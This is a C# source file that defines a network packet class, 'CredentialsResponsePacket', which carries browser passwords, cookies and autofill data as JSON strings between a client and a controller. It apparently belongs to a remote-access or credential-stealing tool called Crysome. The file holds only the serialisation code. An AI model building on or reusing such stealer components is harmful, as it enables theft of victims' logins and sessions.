64 lines
1.4 KiB
C#
64 lines
1.4 KiB
C#
using System.IO;
|
|
using System.Text;
|
|
|
|
namespace Crysome.Common.Network.Packets.Client;
|
|
|
|
public class CredentialsResponsePacket : IPacket
|
|
{
|
|
public string ErrorMessage { get; set; }
|
|
|
|
public string PasswordsJson { get; set; }
|
|
|
|
public string CookiesJson { get; set; }
|
|
|
|
public string AutofillsJson { get; set; }
|
|
|
|
public CredentialsResponsePacket()
|
|
{
|
|
}
|
|
|
|
public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null)
|
|
{
|
|
ErrorMessage = errorMessage ?? "";
|
|
PasswordsJson = passwordsJson ?? "";
|
|
CookiesJson = cookiesJson ?? "";
|
|
AutofillsJson = autofillsJson ?? "";
|
|
}
|
|
|
|
public void Write(BinaryWriter w)
|
|
{
|
|
WriteString(w, ErrorMessage);
|
|
WriteString(w, PasswordsJson);
|
|
WriteString(w, CookiesJson);
|
|
WriteString(w, AutofillsJson);
|
|
}
|
|
|
|
public void Read(BinaryReader r)
|
|
{
|
|
ErrorMessage = ReadString(r);
|
|
PasswordsJson = ReadString(r);
|
|
CookiesJson = ReadString(r);
|
|
AutofillsJson = ReadString(r);
|
|
}
|
|
|
|
private static void WriteString(BinaryWriter w, string s)
|
|
{
|
|
byte[] bytes = Encoding.UTF8.GetBytes(s ?? "");
|
|
w.Write(bytes.Length);
|
|
if (bytes.Length != 0)
|
|
{
|
|
w.Write(bytes);
|
|
}
|
|
}
|
|
|
|
private static string ReadString(BinaryReader r)
|
|
{
|
|
int num = r.ReadInt32();
|
|
if (num <= 0)
|
|
{
|
|
return "";
|
|
}
|
|
return Encoding.UTF8.GetString(r.ReadBytes(num));
|
|
}
|
|
}
|